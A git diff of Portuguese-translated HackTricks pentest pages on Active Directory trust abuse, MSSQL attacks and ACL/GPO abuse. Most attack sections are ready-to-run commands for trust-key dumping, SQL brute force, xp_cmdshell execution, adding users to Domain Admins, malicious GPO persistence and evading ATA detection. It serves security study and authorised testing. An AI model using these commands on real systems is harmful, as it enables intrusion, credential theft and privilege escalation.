+- **Confianças de Cross-link**: Referidas como "confianças de atalho", estas são estabelecidas entre domínios filhos para acelerar processos de referência. Em florestas complexas, as referências de autenticação normalmente precisam viajar até a raiz da floresta e depois descer até o domínio alvo. Ao criar cross-links, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
+- **Confianças Externas**: Estas são configuradas entre diferentes domínios não relacionados e são não transitivas por natureza. De acordo com a [documentação da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), as confianças externas são úteis para acessar recursos em um domínio fora da floresta atual que não está conectado por uma confiança de floresta. A segurança é reforçada através da filtragem de SID com confianças externas.
 - **Confianças de Raiz de Árvore**: Essas confianças são automaticamente estabelecidas entre o domínio raiz da floresta e uma nova raiz de árvore adicionada. Embora não sejam comumente encontradas, as confianças de raiz de árvore são importantes para adicionar novas árvores de domínio a uma floresta, permitindo que mantenham um nome de domínio exclusivo e garantindo a transitividade bidirecional. Mais informações podem ser encontradas no [guia da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
 - **Confianças de Floresta**: Este tipo de confiança é uma confiança transitiva bidirecional entre dois domínios raiz de floresta, também aplicando filtragem de SID para melhorar as medidas de segurança.
 - **Confianças MIT**: Essas confianças são estabelecidas com domínios Kerberos não-Windows, [compatíveis com RFC4120](https://tools.ietf.org/html/rfc4120). As confianças MIT são um pouco mais especializadas e atendem a ambientes que exigem integração com sistemas baseados em Kerberos fora do ecossistema Windows.
@@ -542,19 +545,32 @@ Se o Domínio A confia no Domínio B, A é o domínio confiador e B é o confiá
 
 ### Caminho de Ataque
 
-1. **Enumerar** as relações de confiança
-2. Verifique se algum **principal de segurança** (usuário/grupo/computador) tem **acesso** a recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relações entre domínios** (a confiança foi criada para isso, provavelmente).
+1. **Enumere** as relações de confiança
+2. Verifique se algum **principal de segurança** (usuário/grupo/computador) tem **acesso** aos recursos do **outro domínio**, talvez por entradas ACE ou por estar em grupos do outro domínio. Procure por **relações entre domínios** (a confiança foi criada para isso, provavelmente).
 1. Kerberoast neste caso poderia ser outra opção.
-3. **Comprometer** as **contas** que podem **pivotar** entre domínios.
+3. **Comprometa** as **contas** que podem **pivotar** entre domínios.
 
 Os atacantes poderiam acessar recursos em outro domínio através de três mecanismos principais:
 
-- **Membro de Grupo Local**: Principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administradores” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
-- **Membro de Grupo de Domínio Estrangeiro**: Principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia deste método depende da natureza da confiança e do escopo do grupo.
-- **Listas de Controle de Acesso (ACLs)**: Principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, fornecendo-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
+- **Membro de Grupo Local**: Os principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administradores” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
+- **Membro de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia deste método depende da natureza da confiança e do escopo do grupo.
+- **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, proporcionando-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
 
-### Escalonamento de privilégios de filho para pai na floresta
+### Encontrar usuários/grupos externos com permissões
+
+Você pode verificar **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** para encontrar principais de segurança estrangeiros no domínio. Estes serão usuários/grupos de **um domínio/floresta externa**.
+
+Você poderia verificar isso no **Bloodhound** ou usando powerview:
+```powershell
+# Get users that are i groups outside of the current domain
+Get-DomainForeignUser
+
+# Get groups inside a domain with users our
+Get-DomainForeignGroupMember
 ```
+### Escalação de privilégios de floresta de filho para pai
+```bash
+# Fro powerview
 Get-DomainTrust
 
 SourceName      : sub.domain.local    --> current domain
@@ -565,9 +581,21 @@ TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
 WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
+Outras maneiras de enumerar trusts de domínio:
+```bash
+# Get DCs
+nltest /dsgetdc:<DOMAIN>
+
+# Get all domain trusts
+nltest /domain_trusts /all_trusts /v
+
+# Get all trust of a domain
+nltest /dclist:sub.domain.local
+nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
+```
 > [!WARNING]
 > Existem **2 chaves confiáveis**, uma para _Child --> Parent_ e outra para _Parent_ --> _Child_.\
-> Você pode ver a que está sendo usada pelo domínio atual com:
+> Você pode usar a que está sendo utilizada pelo domínio atual com:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@@ -584,23 +612,23 @@ sid-history-injection.md
 
 #### Explorar NC de Configuração gravável
 
-Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em ambientes Active Directory (AD). Esses dados são replicados para todos os Controladores de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
+Entender como o Contexto de Nomeação de Configuração (NC) pode ser explorado é crucial. O NC de Configuração serve como um repositório central para dados de configuração em um ambiente de Active Directory (AD). Esses dados são replicados para todos os Controladores de Domínio (DC) dentro da floresta, com DCs graváveis mantendo uma cópia gravável do NC de Configuração. Para explorar isso, é necessário ter **privilégios de SYSTEM em um DC**, preferencialmente um DC filho.
 
 **Vincular GPO ao site do DC raiz**
 
-O contêiner de Sites do NC de Configuração inclui informações sobre todos os sites de computadores associados ao domínio dentro da floresta AD. Ao operar com privilégios de SYSTEM em qualquer DC, os atacantes podem vincular GPOs aos sites do DC raiz. Essa ação potencialmente compromete o domínio raiz manipulando políticas aplicadas a esses sites.
+O contêiner de Sites do NC de Configuração inclui informações sobre todos os sites de computadores associados ao domínio dentro da floresta AD. Ao operar com privilégios de SYSTEM em qualquer DC, os atacantes podem vincular GPOs aos sites do DC raiz. Essa ação pode comprometer o domínio raiz manipulando políticas aplicadas a esses sites.
 
 Para informações detalhadas, pode-se explorar pesquisas sobre [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
 
 **Comprometer qualquer gMSA na floresta**
 
-Um vetor de ataque envolve direcionar gMSAs privilegiadas dentro do domínio. A chave raiz do KDS, essencial para calcular as senhas dos gMSAs, é armazenada dentro do NC de Configuração. Com privilégios de SYSTEM em qualquer DC, é possível acessar a chave raiz do KDS e calcular as senhas para qualquer gMSA na floresta.
+Um vetor de ataque envolve direcionar gMSAs privilegiadas dentro do domínio. A chave KDS Root, essencial para calcular as senhas de gMSAs, é armazenada dentro do NC de Configuração. Com privilégios de SYSTEM em qualquer DC, é possível acessar a chave KDS Root e calcular as senhas para qualquer gMSA na floresta.
 
 Análises detalhadas podem ser encontradas na discussão sobre [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
 
 **Ataque de mudança de esquema**
 
-Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre objetos AD recém-criados.
+Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre novos objetos AD criados.
 
 Leitura adicional está disponível sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
 
@@ -611,7 +639,7 @@ A vulnerabilidade ADCS ESC5 visa o controle sobre objetos de Infraestrutura de C
 Mais detalhes sobre isso podem ser lidos em [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Em cenários sem ADCS, o atacante tem a capacidade de configurar os componentes necessários, conforme discutido em [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
 
 ### Domínio de Floresta Externa - Unidirecional (Inbound) ou bidirecional
-```powershell
+```bash
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
 TargetName      : domain.external  --> Destination domain
@@ -628,7 +656,7 @@ external-forest-domain-oneway-inbound.md
 {{#endref}}
 
 ### Domínio de Floresta Externa - Unidirecional (Saída)
-```powershell
+```bash
 Get-DomainTrust -Domain current.local
 
 SourceName      : current.local   --> Current domain
@@ -660,7 +688,7 @@ rdp-sessions-abuse.md
 
 ### **Filtragem de SID:**
 
-- O risco de ataques que aproveitam o atributo de histórico de SID em confianças de floresta é mitigado pela Filtragem de SID, que é ativada por padrão em todas as confianças inter-floresta. Isso é fundamentado na suposição de que as confianças intra-floresta são seguras, considerando a floresta, em vez do domínio, como o limite de segurança de acordo com a posição da Microsoft.
+- O risco de ataques que aproveitam o atributo de histórico de SID em confianças de floresta é mitigado pela Filtragem de SID, que é ativada por padrão em todas as confianças inter-floresta. Isso é fundamentado na suposição de que as confianças intra-floresta são seguras, considerando a floresta, em vez do domínio, como o limite de segurança, de acordo com a posição da Microsoft.
 - No entanto, há um problema: a filtragem de SID pode interromper aplicativos e o acesso do usuário, levando à sua desativação ocasional.
 
 ### **Autenticação Seletiva:**
@@ -684,7 +712,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
 
 - **Restrições de Administradores de Domínio**: Recomenda-se que os Administradores de Domínio só possam fazer login em Controladores de Domínio, evitando seu uso em outros hosts.
 - **Privilégios de Conta de Serviço**: Serviços não devem ser executados com privilégios de Administrador de Domínio (DA) para manter a segurança.
-- **Limitação Temporal de Privilégios**: Para tarefas que exigem privilégios de DA, sua duração deve ser limitada. Isso pode ser alcançado por: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Limitação Temporal de Privilégios**: Para tarefas que requerem privilégios de DA, sua duração deve ser limitada. Isso pode ser alcançado por: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 
 ### **Implementando Técnicas de Engano**
 
@@ -702,7 +730,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
 - **Desvio de Detecção do Microsoft ATA**:
 - **Enumeração de Usuários**: Evitar a enumeração de sessões em Controladores de Domínio para prevenir a detecção do ATA.
 - **Impersonação de Ticket**: Utilizar chaves **aes** para a criação de tickets ajuda a evitar a detecção ao não rebaixar para NTLM.
-- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta a partir de um controlador de domínio acionará alertas.
+- **Ataques DCSync**: Executar a partir de um controlador de domínio não é recomendado para evitar a detecção do ATA, pois a execução direta de um Controlador de Domínio acionará alertas.
 
 ## Referências
 

src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md

@@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
 ###  Powershell
 
 O módulo powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) é muito útil neste caso.
-```powershell
+```bash
 Import-Module .\PowerupSQL.psd1
 ````
 ### Enumerando a partir da rede sem sessão de domínio
-```powershell
+```bash
 # Get local MSSQL instance (if any)
 Get-SQLInstanceLocal
 Get-SQLInstanceLocal | Get-SQLServerInfo
@@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads
 Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
 ```
 ### Enumerando de dentro do domínio
-```powershell
+```bash
 # Get local MSSQL instance (if any)
 Get-SQLInstanceLocal
 Get-SQLInstanceLocal | Get-SQLServerInfo
@@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
 #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
 Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
 
+# Try dictionary attack to login
+Invoke-SQLAuditWeakLoginPw
+
+# Search SPNs of common software and try the default creds
+Get-SQLServerDefaultLoginPw
+
 #Test connections with each one
 Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
 
@@ -127,14 +133,26 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
 # Get DBs, test connections and get info in oneliner
 Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
 ```
-## Abuso Básico do MSSQL
+## MSSQL Abuso Básico
 
 ### Acessar DB
-```powershell
+```bash
+# List databases
+Get-SQLInstanceDomain | Get-SQLDatabase
+
+# List tables in a DB you can read
+Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
+
+# List columns in a table
+Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
+
+# Get some sample data from a column in a table (columns username & passwor din the example)
+Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
+
 #Perform a SQL query
 Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
 
-#Dump an instance (a lotof CVSs generated in current dir)
+#Dump an instance (a lot of CVSs generated in current dir)
 Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
 
 # Search keywords in columns trying to access the MSSQL DBs
@@ -144,7 +162,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
 ### MSSQL RCE
 
 Pode também ser possível **executar comandos** dentro do host MSSQL.
-```powershell
+```bash
 Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
 # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
 ```
@@ -156,14 +174,14 @@ Verifique na página mencionada na **seção seguinte como fazer isso manualment
 ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
 {{#endref}}
 
-## Links Confiáveis MSSQL
+## Links Confiáveis do MSSQL
 
-Se uma instância MSSQL é confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar algum banco de dados mal configurado onde pode executar comandos.
+Se uma instância MSSQL é confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tem privilégios sobre o banco de dados confiável, ele poderá **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar algum banco de dados mal configurado onde pode executar comandos.
 
 **Os links entre bancos de dados funcionam mesmo através de confianças de floresta.**
 
 ### Abuso do Powershell
-```powershell
+```bash
 #Look for MSSQL links of an accessible instance
 Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
 
@@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
 ## If you see the results of @@selectname, it worked
 Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
 ```
+Outra ferramenta semelhante que pode ser usada é [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
+```bash
+SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
+# Cobalt Strike
+inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
+```
 ### Metasploit
 
 Você pode facilmente verificar links confiáveis usando metasploit.
@@ -221,9 +245,9 @@ EXEC sp_linkedservers;
 ```
 ![](<../../images/image (716).png>)
 
-#### Execute consultas em link confiável
+#### Execute queries in trustable link
 
-Execute consultas através do link (exemplo: encontre mais links na nova instância acessível):
+Execute queries através do link (exemplo: encontre mais links na nova instância acessível):
 ```sql
 select * from openquery("dcorp-sql1", 'select * from master..sysservers')
 ```
@@ -256,7 +280,7 @@ O **usuário local do MSSQL** geralmente possui um tipo especial de privilégio
 
 Uma estratégia que muitos autores desenvolveram é forçar um serviço do SYSTEM a se autenticar em um serviço malicioso ou man-in-the-middle que o atacante cria. Esse serviço malicioso é então capaz de imitar o serviço do SYSTEM enquanto tenta se autenticar.
 
-[SweetPotato](https://github.com/CCob/SweetPotato) possui uma coleção dessas várias técnicas que podem ser executadas através do comando `execute-assembly` do Beacon.
+[SweetPotato](https://github.com/CCob/SweetPotato) possui uma coleção dessas várias técnicas que podem ser executadas via comando `execute-assembly` do Beacon.
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md

@@ -10,21 +10,21 @@ Este privilégio concede a um atacante controle total sobre uma conta de usuári
 
 - **Alterar a Senha do Alvo**: Usando `net user <username> <password> /domain`, o atacante pode redefinir a senha do usuário.
 - **Kerberoasting Direcionado**: Atribua um SPN à conta do usuário para torná-la kerberoastable, depois use Rubeus e targetedKerberoast.py para extrair e tentar quebrar os hashes do ticket-granting ticket (TGT).
-```powershell
+```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
 - **Targeted ASREPRoasting**: Desative a pré-autenticação para o usuário, tornando sua conta vulnerável ao ASREPRoasting.
-```powershell
+```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
-## **Direitos GenericAll em Grupo**
+## **Direitos GenericAll no Grupo**
 
 Esse privilégio permite que um atacante manipule as associações de grupo se tiver direitos `GenericAll` em um grupo como `Domain Admins`. Após identificar o nome distinto do grupo com `Get-NetGroup`, o atacante pode:
 
 - **Adicionar-se ao Grupo de Administradores do Domínio**: Isso pode ser feito por meio de comandos diretos ou usando módulos como Active Directory ou PowerSploit.
-```powershell
+```bash
 net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
@@ -40,27 +40,27 @@ Ter esses privilégios em um objeto de computador ou em uma conta de usuário pe
 
 Se um usuário tiver direitos de `WriteProperty` em todos os objetos de um grupo específico (por exemplo, `Domain Admins`), ele pode:
 
-- **Adicionar-se ao Grupo Domain Admins**: Atingível através da combinação dos comandos `net user` e `Add-NetGroupUser`, este método permite a escalada de privilégios dentro do domínio.
-```powershell
+- **Add Themselves to the Domain Admins Group**: Atingível através da combinação dos comandos `net user` e `Add-NetGroupUser`, este método permite a escalada de privilégios dentro do domínio.
+```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **Auto (Auto-Membresia) em Grupo**
 
-Esse privilégio permite que atacantes se adicionem a grupos específicos, como `Domain Admins`, por meio de comandos que manipulam a membresia do grupo diretamente. Usar a seguinte sequência de comandos permite a auto-adição:
-```powershell
+Esse privilégio permite que atacantes se adicionem a grupos específicos, como `Domain Admins`, por meio de comandos que manipulam diretamente a membresia do grupo. Usar a seguinte sequência de comandos permite a auto-adição:
+```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Auto-Membresia)**
 
-Um privilégio semelhante, isso permite que atacantes se adicionem diretamente a grupos modificando as propriedades do grupo se tiverem o direito de `WriteProperty` nesses grupos. A confirmação e execução desse privilégio são realizadas com:
-```powershell
+Um privilégio semelhante, isso permite que atacantes se adicionem diretamente a grupos modificando as propriedades do grupo se tiverem o direito de `WriteProperty` sobre esses grupos. A confirmação e execução desse privilégio são realizadas com:
+```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**
 
 Ter o `ExtendedRight` em um usuário para `User-Force-Change-Password` permite redefinições de senha sem conhecer a senha atual. A verificação desse direito e sua exploração podem ser feitas através do PowerShell ou ferramentas de linha de comando alternativas, oferecendo vários métodos para redefinir a senha de um usuário, incluindo sessões interativas e comandos de uma linha para ambientes não interativos. Os comandos variam desde invocações simples do PowerShell até o uso de `rpcclient` no Linux, demonstrando a versatilidade dos vetores de ataque.
-```powershell
+```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
 Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@@ -72,8 +72,8 @@ rpcclient -U KnownUsername 10.10.10.192
 ```
 ## **WriteOwner em Grupo**
 
-Se um atacante descobrir que possui direitos de `WriteOwner` sobre um grupo, ele pode mudar a propriedade do grupo para si mesmo. Isso é particularmente impactante quando o grupo em questão é `Domain Admins`, pois mudar a propriedade permite um controle mais amplo sobre os atributos e a membresia do grupo. O processo envolve identificar o objeto correto via `Get-ObjectAcl` e, em seguida, usar `Set-DomainObjectOwner` para modificar o proprietário, seja por SID ou nome.
-```powershell
+Se um atacante descobrir que possui direitos de `WriteOwner` sobre um grupo, ele pode alterar a propriedade do grupo para si mesmo. Isso é particularmente impactante quando o grupo em questão é `Domain Admins`, pois mudar a propriedade permite um controle mais amplo sobre os atributos e a membresia do grupo. O processo envolve identificar o objeto correto via `Get-ObjectAcl` e, em seguida, usar `Set-DomainObjectOwner` para modificar o proprietário, seja por SID ou nome.
+```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
 Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
@@ -81,13 +81,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ## **GenericWrite em Usuário**
 
 Esta permissão permite que um atacante modifique as propriedades do usuário. Especificamente, com acesso `GenericWrite`, o atacante pode alterar o caminho do script de logon de um usuário para executar um script malicioso durante o logon do usuário. Isso é alcançado usando o comando `Set-ADObject` para atualizar a propriedade `scriptpath` do usuário alvo para apontar para o script do atacante.
-```powershell
+```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
 ## **GenericWrite em Grupo**
 
 Com esse privilégio, os atacantes podem manipular a associação a grupos, como adicionar a si mesmos ou a outros usuários a grupos específicos. Esse processo envolve a criação de um objeto de credencial, usando-o para adicionar ou remover usuários de um grupo e verificando as alterações de associação com comandos do PowerShell.
-```powershell
+```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
 Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
@@ -96,8 +96,8 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**
 
-Possuir um objeto AD e ter privilégios de `WriteDACL` sobre ele permite que um atacante se conceda privilégios de `GenericAll` sobre o objeto. Isso é realizado por meio da manipulação do ADSI, permitindo controle total sobre o objeto e a capacidade de modificar suas associações de grupo. Apesar disso, existem limitações ao tentar explorar esses privilégios usando os cmdlets `Set-Acl` / `Get-Acl` do módulo Active Directory.
-```powershell
+Possuir um objeto AD e ter privilégios de `WriteDACL` sobre ele permite que um atacante se conceda privilégios de `GenericAll` sobre o objeto. Isso é realizado por meio da manipulação do ADSI, permitindo controle total sobre o objeto e a capacidade de modificar suas associações de grupo. Apesar disso, existem limitações ao tentar explorar esses privilégios usando os cmdlets `Set-Acl` / `Get-Acl` do módulo do Active Directory.
+```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
 $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
@@ -112,7 +112,7 @@ O ataque DCSync aproveita permissões específicas de replicação no domínio p
 
 ### Delegação de GPO
 
-O acesso delegado para gerenciar Objetos de Política de Grupo (GPOs) pode apresentar riscos significativos à segurança. Por exemplo, se um usuário como `offense\spotless` tiver direitos de gerenciamento de GPO delegados, ele pode ter privilégios como **WriteProperty**, **WriteDacl** e **WriteOwner**. Essas permissões podem ser abusadas para fins maliciosos, conforme identificado usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+O acesso delegado para gerenciar Objetos de Política de Grupo (GPOs) pode apresentar riscos significativos à segurança. Por exemplo, se um usuário como `offense\spotless` tiver direitos de gerenciamento de GPO, ele pode ter privilégios como **WriteProperty**, **WriteDacl** e **WriteOwner**. Essas permissões podem ser abusadas para fins maliciosos, conforme identificado usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
 
 ### Enumerar Permissões de GPO
 
@@ -120,20 +120,20 @@ Para identificar GPOs mal configurados, os cmdlets do PowerSploit podem ser enca
 
 **Computadores com uma Política Dada Aplicada**: É possível resolver quais computadores uma GPO específica se aplica, ajudando a entender o escopo do impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
 
-**Políticas Aplicadas a um Computador Dado**: Para ver quais políticas são aplicadas a um computador específico, comandos como `Get-DomainGPO` podem ser utilizados.
+**Políticas Aplicadas a um Computador Dado**: Para ver quais políticas estão aplicadas a um computador específico, comandos como `Get-DomainGPO` podem ser utilizados.
 
 **OUs com uma Política Dada Aplicada**: Identificar unidades organizacionais (OUs) afetadas por uma política dada pode ser feito usando `Get-DomainOU`.
 
 ### Abusar GPO - New-GPOImmediateTask
 
 GPOs mal configurados podem ser explorados para executar código, por exemplo, criando uma tarefa agendada imediata. Isso pode ser feito para adicionar um usuário ao grupo de administradores locais em máquinas afetadas, elevando significativamente os privilégios:
-```powershell
+```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
-### Módulo GroupPolicy - Abuso de GPO
+### GroupPolicy module - Abuso de GPO
 
 O módulo GroupPolicy, se instalado, permite a criação e vinculação de novas GPOs, e a definição de preferências como valores de registro para executar backdoors em computadores afetados. Este método requer que a GPO seja atualizada e que um usuário faça login no computador para execução:
-```powershell
+```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
@@ -149,9 +149,9 @@ Atualizações de GPO normalmente ocorrem a cada 90 minutos. Para acelerar esse
 
 ### Nos Bastidores
 
-Ao inspecionar as Tarefas Agendadas para uma determinada GPO, como a `Política Mal Configurada`, a adição de tarefas como `evilTask` pode ser confirmada. Essas tarefas são criadas através de scripts ou ferramentas de linha de comando com o objetivo de modificar o comportamento do sistema ou escalar privilégios.
+Ao inspecionar as Tarefas Agendadas para uma GPO específica, como a `Misconfigured Policy`, a adição de tarefas como `evilTask` pode ser confirmada. Essas tarefas são criadas através de scripts ou ferramentas de linha de comando com o objetivo de modificar o comportamento do sistema ou escalar privilégios.
 
-A estrutura da tarefa, conforme mostrado no arquivo de configuração XML gerado pelo `New-GPOImmediateTask`, descreve os detalhes da tarefa agendada - incluindo o comando a ser executado e seus gatilhos. Este arquivo representa como as tarefas agendadas são definidas e gerenciadas dentro das GPOs, fornecendo um método para executar comandos ou scripts arbitrários como parte da aplicação da política.
+A estrutura da tarefa, conforme mostrado no arquivo de configuração XML gerado pelo `New-GPOImmediateTask`, descreve os detalhes da tarefa agendada - incluindo o comando a ser executado e seus gatilhos. Este arquivo representa como as tarefas agendadas são definidas e gerenciadas dentro das GPOs, fornecendo um método para executar comandos ou scripts arbitrários como parte da aplicação de políticas.
 
 ### Usuários e Grupos
 

